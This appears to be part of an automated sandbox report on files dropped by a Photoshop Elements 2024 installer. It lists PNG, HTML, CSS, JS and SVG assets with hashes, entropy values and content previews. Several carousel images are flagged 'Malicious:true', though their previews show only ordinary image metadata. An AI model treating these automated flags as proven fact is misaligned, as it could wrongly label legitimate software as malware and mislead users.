                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):190441
                                                                                                Entropy (8bit):7.9969327976436695
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
                                                                                                MD5:448941A2F024056569EF9817EEFEB9A7
                                                                                                SHA1:544EC13242A4B9BD3E0A4D65079C55DF006D6D24
                                                                                                SHA-256:21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
                                                                                                SHA-512:1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):222420
                                                                                                Entropy (8bit):7.994042748653122
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
                                                                                                MD5:D428286039502448A467942D6F20772E
                                                                                                SHA1:412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
                                                                                                SHA-256:61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
                                                                                                SHA-512:0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):553301
                                                                                                Entropy (8bit):7.995654160787874
                                                                                                Encrypted:true
                                                                                                SSDEEP:12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
                                                                                                MD5:3ED1397092BD3EAFDFE71335BF5F5E3C
                                                                                                SHA1:9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
                                                                                                SHA-256:8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
                                                                                                SHA-512:5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR...z..........Ay.....sBIT....|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\index.html

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):4509
                                                                                                Entropy (8bit):5.497933185923274
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
                                                                                                MD5:348352BAA22F54466691B8673B6B6C93
                                                                                                SHA1:5F6606EA02606FEC542690E80273AA5FFAAFF0AE
                                                                                                SHA-256:39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
                                                                                                SHA-512:F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
                                                                                                Malicious:false
                                                                                                Preview:<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\lib\jquery.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (65482), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):93637
                                                                                                Entropy (8bit):5.292996107428883
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
                                                                                                MD5:E1288116312E4728F98923C79B034B67
                                                                                                SHA1:8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
                                                                                                SHA-256:BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
                                                                                                SHA-512:BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
                                                                                                Malicious:false
                                                                                                Preview:/*! jQuery v1.8.3 jquery.com | jquery.org/license */..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\clean.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (63595), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):718997
                                                                                                Entropy (8bit):6.0071312142972335
                                                                                                Encrypted:false
                                                                                                SSDEEP:12288:P5i6jE/5acgsu0wwT63kaSROcdOLeK+CnLG1VWzWhHuakxiaHbr3Gq5XR1:ho/5F5N65SROcwLeKVggzWItBP3/5XH
                                                                                                MD5:4F3364AF3E396F92A8826532BFB1A7E5
                                                                                                SHA1:7F7B613435ECE78A358F2066287C2F2C3C6AA168
                                                                                                SHA-256:45B9B77499356527E9047256DB96A542A720BF075D67E9F6BA55D51FD562339E
                                                                                                SHA-512:C022A28656483106095967EC4D57EB743D04F029406C2C553C9D19C103520E274C0EEA19F411BDB7AE16F388211C456A413DF5A0A6097036DEB0010573D49C72
                                                                                                Malicious:false
                                                                                                Preview:/*************************************************************************.. * ADOBE CONFIDENTIAL.. * ___________________.. *.. * Copyright 2015 Adobe Systems Incorporated.. * All Rights Reserved... *.. * NOTICE: All information contained herein is, and remains.. * the property of Adobe Systems Incorporated and its suppliers,.. * if any. The intellectual and technical concepts contained.. * herein are proprietary to Adobe Systems Incorporated and its.. * suppliers and are protected by all applicable intellectual property.. * laws, including trade secret and copyright laws... * Dissemination of this information or reproduction of this material.. * is strictly forbidden unless prior written permission is obtained.. * from Adobe Systems Incorporated... **************************************************************************/.. ../*{"c":"2014-07-16T23:34:26Z","s":"prod-origin-83c205ec","v":"783743"}*/../*.. * The Typekit service used to deliver this font or fonts for use on websites.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\common.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):2578
                                                                                                Entropy (8bit):4.931529716406852
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:NSrnTHOeL3SJr9DlBPd3i0HcxP4Kevtwsx0uB7Vc3KA:NSrnL3ArdlBd3i0Hc+53B5c/
                                                                                                MD5:1265D497504870D225452B3309B0E06B
                                                                                                SHA1:29A3B783E6F2F2CD3F6D08833B83C7848F8E3450
                                                                                                SHA-256:4273A5D4EF990DEAD6CABE760C27B25F7FCF8A51177F1B31813AD8866A565330
                                                                                                SHA-512:9AA8B24E800A619651699C193A7747B8673A3CD4F8A5D3B16EE35F5EF6161F953A904631B97D118339332A3D2C7292C910802F6E1518DB18D48FAB5E9EB91681
                                                                                                Malicious:false
                                                                                                Preview:/*jQuery's custom scrollbar*/.....scrollable {.. position: relative;..}.....scrollable:focus {.. outline: 0;..}.....scrollable .viewport {.. position: relative;.. overflow: hidden;..}.....scrollable .viewport .overview {.. position: relative;..}.....scrollable .scroll-bar {.. display: none;..}.....scrollable .scroll-bar.vertical {.. position: absolute;.. right: 0;.. height: 100%;..}.....scrollable .scroll-bar.horizontal {.. position: relative;.. width: 100%;..}.....scrollable .scroll-bar .thumb {.. position: absolute;..}.....scrollable .scroll-bar.vertical .thumb {.. width: 100%;.. min-height: 10px;.. min-height: 0.625rem;..}.....scrollable .scroll-bar.horizontal .thumb {.. height: 100%;.. min-width: 10px;.. min-width: 0.625rem;.. left: 0;..}.....not-selectable {.. -webkit-touch-callout: none;.. -webkit-user-select: none;.. -khtml-user-select: none;.. -moz-user-select: none;.. -ms-user-select: none;.. user-selec

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\common.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):2632
                                                                                                Entropy (8bit):5.126236676088857
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:3m3bY/eZDzd6rd0DVA9I5QV9OuE/KXjtkQnYX5wJp8EBEPiDpoQ6WLEIp6Yhn2oY:30bX1dT5QbXjRnZJp5ePcUWLEIUYV7/A
                                                                                                MD5:D98F70FFD105672292755A37F173C2EC
                                                                                                SHA1:C0154ADD295AC052F234A0282A62B704CDD01998
                                                                                                SHA-256:257A42F797F140667C81930001E73943BFC243D50BCC775F75D0334A2D2CF2C3
                                                                                                SHA-512:1909CC7E4DA0949A469852240BE2205209968B18B99F7D967BC0231DE33D03C7CBAA9578972E30E95E6D7017AEBF9CD70A55BA22CDC9D5774D2A237D3EB0971B
                                                                                                Malicious:false
                                                                                                Preview:/**.. * Created by puarora on 05/10/2017... */....function attachEvt(elem, eventName, handler) {.. if (document.attachEvent) elem.attachEvent('on' + eventName, handler);.. else elem.addEventListener(eventName, handler);..}....function wrap(el, wrapper) {.. wrapper.setAttribute("class", "custom-checkbox");.. el.parentNode.insertBefore(wrapper, el);.. wrapper.appendChild(el);..}....function addClass(ele, cls) {.. if (!hasClass(ele, cls)) ele.className += " " + cls;..}....function removeClass(ele, cls) {.. if (hasClass(ele, cls)) {.. var reg = new RegExp('(\\s|^)' + cls + '(\\s|$)');.. ele.className = ele.className.replace(reg, ' ');.. }..}....function toggleClass(element, cssClass) {.. var classes = element.className.match(/\S+/g) || [],.. index = classes.indexOf(cssClass);.. index >= 0 ? classes.splice(index, 1) : classes.push(cssClass);.. element.className = classes.join(' ');..}....function hasClass(target, className) {.. return

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\content.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:assembler source, ASCII text, with very long lines (576), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):17365
                                                                                                Entropy (8bit):4.939377811069116
                                                                                                Encrypted:false
                                                                                                SSDEEP:192:A4tVyLcF4YlTAIjroXJBYCd+WQ3boESgXimdzYSea415+ppxwRkWf0h:XtVyE4YCZB/cUPrsp7
                                                                                                MD5:EDACDE36FF06BD26F1907AE092EAC998
                                                                                                SHA1:C25E9052EE5B28EC28E2ECEEE40217302BF2CAAE
                                                                                                SHA-256:257634B6FA84DCE998B31D6497330F0A0661EFBD270F58289FBE026ED95B6F2C
                                                                                                SHA-512:7E8D48E71A51659EA52DCCC2D7C542580C9EA1953EC9CA2AD77D3C0926C5BC77167F85121FAB2DCB7FD4D6D2F04EDBD90815B76979D3269994CF662FADC357E1
                                                                                                Malicious:false
                                                                                                Preview:body {.. line-height: normal;.. font-family: 'Adobe Clean', sans-serif;.. margin: 0;.. -webkit-user-select: none;.. -moz-user-select: none;.. -ms-user-select: none;.. user-select: none;..}.....text-center {.. text-align: center;..}.....cec-carousel{...border: none;...position: fixed;..}.....centerMid {.. padding-top: 88px;.. padding-top: 5.5rem;..}.....content {.. height: 345px;...height: 21.5625rem;.. color: #4b4b4b;.. background: #f5f5f5;.. position: relative;..}.....content .centerMid {.. height: 181px;...height: 11.31rem;..}.....content img {.... margin-bottom: 22px;.. margin-bottom: 1.375rem;.. width: 88px;...width: 5.5rem;.. height: 84px;.. height: 5.25rem;..}.....content .productName {.. font-size: 29px;...font-size: 1.812rem;.. font-weight: lighter;.. word-wrap: break-word;.. padding-left: 20px;.. padding-right: 20px;..}.....downloaderContent .packageName {.. font-size: 29px;.. font-size: 1.812rem;

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\content.html

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):7111
                                                                                                Entropy (8bit):4.185691978778471
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:pSEvOm69itmXEv9YqS0WsYSZt/38WMc3pGh1x+Flxtfz:oBitmXevlEWMcO1x+FlxtL
                                                                                                MD5:60E80C05A9D6AA602626FEC33CD99E3C
                                                                                                SHA1:7AEAAC92D57FBABE5DA2C923EB0AD1BB22E647AB
                                                                                                SHA-256:5BD6A4BC514B2E697A0F0E8B7B8C0BE0AF34A9E1C25A628B286A5CDF8E1837D3
                                                                                                SHA-512:838DE7045B1EE4542D4145276B3FEF5BA60DC10ED0066266BEBB3E44C5485005D33DCEAEFB1CF3FD1FD1BC7364622BB85630957A243464C4C738A415B30ADF7F
                                                                                                Malicious:false
                                                                                                Preview:<!DOCTYPE html>..<html>..<head lang="en">.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE10" />.. <link rel="stylesheet" type="text/css" href="clean.css">.. <link rel="stylesheet" type="text/css" href="content.css">.. <link rel="stylesheet" type="text/css" href="common.css">..</head>..<body onload="onLoadComplete()">.. <div class="container">.... <div class="text-center downloaderContent" id="downloaderPackageContent">.. <div class="centerMid">.. <img src="" />.. <div class="packageName"></div>.. </div>.. </div>.... <div class="content text-center" id="productContent">.. <div class="centerMid">.. <img src="" />.. <div class="productName"></div>.. <div class="productVersion"></div>.. </div>.. </div>.... <div class="downloadOptions" id = "downloadOptions">.. <div class="do

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\content.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (363), with CRLF, LF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):36834
                                                                                                Entropy (8bit):5.0023261444862275
                                                                                                Encrypted:false
                                                                                                SSDEEP:768:DrlLXh1YEOzCZCpFP73Gtm1L10bA/XKgA2/+iGpCvce4d5vQmUbp:DrlLXhmvCZC/3GtG5X+1pCke4d5vrUN
                                                                                                MD5:E704DB9AE855BC38284C7C6AEF87A7B0
                                                                                                SHA1:C5C8C496CBB9497B4B013547C328270E9C2F6040
                                                                                                SHA-256:162B60AF1E71A04E3CF3E0ED5E9806F3C253F7DCD6AD1B08D0BF6B05A8593844
                                                                                                SHA-512:2DE4818292C1B196946DD06AD5CAD3BFAA91B92DE2760371E9B8844557B80754C747A39763E6626D155FBAF00683800AA465BC1224F22615EFA2ED8766C86E18
                                                                                                Malicious:false
                                                                                                Preview:/**.. * Created by abhjain on 12/21/2015... */....$(document).ready(function() {.. init();..});....function onLoadComplete() {.. /* Code to disable tab key handling.. $('.container').keydown(function (objEvent) {.. if (objEvent.keyCode == 9) { //tab pressed.. objEvent.preventDefault();.. }.. }).. */.... $("#selectAllProducts").keydown(function (event) {.. if (event.keyCode === 13) {.. $("#selectAllProducts").click();.. }.. });.... $("#languageOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {.. dropdownMenuToggle($('#languageDropdownOptionsList'));.. }.. });.... $("#locationOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {.. dropdownMenuToggle($('#locationDropdownOptionsList'));.. }.. });.... $("#downloadLocationOptionDropdownHead").keydown(function (event) {.. if (event.keyCode === 13) {..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\adobelogo.svg

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:SVG Scalable Vector Graphics image
                                                                                                Category:dropped
                                                                                                Size (bytes):749
                                                                                                Entropy (8bit):5.476176820648931
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:TMHdwHaNi/nzVO3/KYIg3cCiHmJqrFd6hzqDccqFJFMvJq:2dikAALIgsdGcrf6hzacPJFMvI
                                                                                                MD5:E7B1717B9EBA236B9C12BE7A980B5B40
                                                                                                SHA1:F1BAA3F41FFA5DFFF320B7E289964CEC54F19A99
                                                                                                SHA-256:2A48E8DB0F3991DE1088936F56C583FE615FAE4B9E14F4EBE2B33D29138088F3
                                                                                                SHA-512:9C8DEBE604372AC1FE3945579EE843F13DF6F8D40F2C402590743009B39C5F80E859830FC422D7F8D447C4E30F1198584850DE657FACFAA2B84955D386563B88
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 21.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="S_AdobeLogo_24_N_2x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"... x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve">..<style type="text/css">....st0{fill:#FF13DC;fill-opacity:0;}....st1{fill:#ACACAC;}..</style>..<title>S_AdobeLogo_24_N@2x</title>..<rect id="Canvas" class="st0" width="24" height="24"/>..<g>...<polygon class="st1" points="14.6,3 22,3 22,21 ."/>...<polygon class="st1" points="9.4,3 2,3 2,21 ."/>...<polygon class="st1" points="12,9.6 16.7,21 13.6,21 12.2,17.4 8.8,17.4 ."/>..</g>..</svg>..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\alert.svg

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:SVG Scalable Vector Graphics image
                                                                                                Category:dropped
                                                                                                Size (bytes):958
                                                                                                Entropy (8bit):5.381157379214617
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:2dikAiLMdGAEh6tzoI2xjwv4mp1mXcD1QCtP:cikA2MdKQvpCcKCB
                                                                                                MD5:332816D7725FC31725B678CFF1CB6DCC
                                                                                                SHA1:876F938EFB86C1BB1733B47EC279335DE97576DA
                                                                                                SHA-256:8B5469642507C00B9130BF7ED17A1E4D221E2A93DFD4D2972163650C4E94D714
                                                                                                SHA-512:5C4A678892B1A550A0C85E77F75C8B56FEBBFCD92C658DAB198197ED17D7FAD04D7B65F8ADC17E095895366BF933421CAE30E430E136870D3E02E9F89D115775
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 21.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="S_Alert_24_N_2x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"... y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve">..<style type="text/css">....st0{fill:#FF13DC;fill-opacity:0;}....st1{fill:#E44853;}..</style>..<title>S_Alert_24_N@2x</title>..<rect id="Canvas" class="st0" width="24" height="24"/>..<path class="st1" d="M22.2,19.5L12.9,2.6c-0.3-0.5-0.9-0.7-1.4-0.4c-0.2,0.1-0.3,0.2-0.4,0.4L1.8,19.5c-0.3,0.5-0.1,1.1,0.4,1.4...C2.4,21,2.5,21,2.7,21h18.6c0.6,0,1-0.4,1-1C22.3,19.8,22.3,19.7,22.2,19.5z M12,19.5c-0.8,0-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5...s1.5,0.7,1.5,1.5S12.8,19.5,12,19.5z M10.8,14.5v-7C10.8,7.2,11,7,11.3,7h1.4c0.3,0,0.5,0.2,0.5,0.5v7c0,0.3-0.2,0.5-0.5,0.5h-1.4...C11,15,10.8,14.8,10.8,14.5z"/>..</svg>..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\appIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):3054
                                                                                                Entropy (8bit):7.920741815156119
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
                                                                                                MD5:EB5FDB63686193E55826A8DD77D64412
                                                                                                SHA1:977C4788ABF0F274E74281C4DA76C0C3D2F26B76
                                                                                                SHA-256:1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
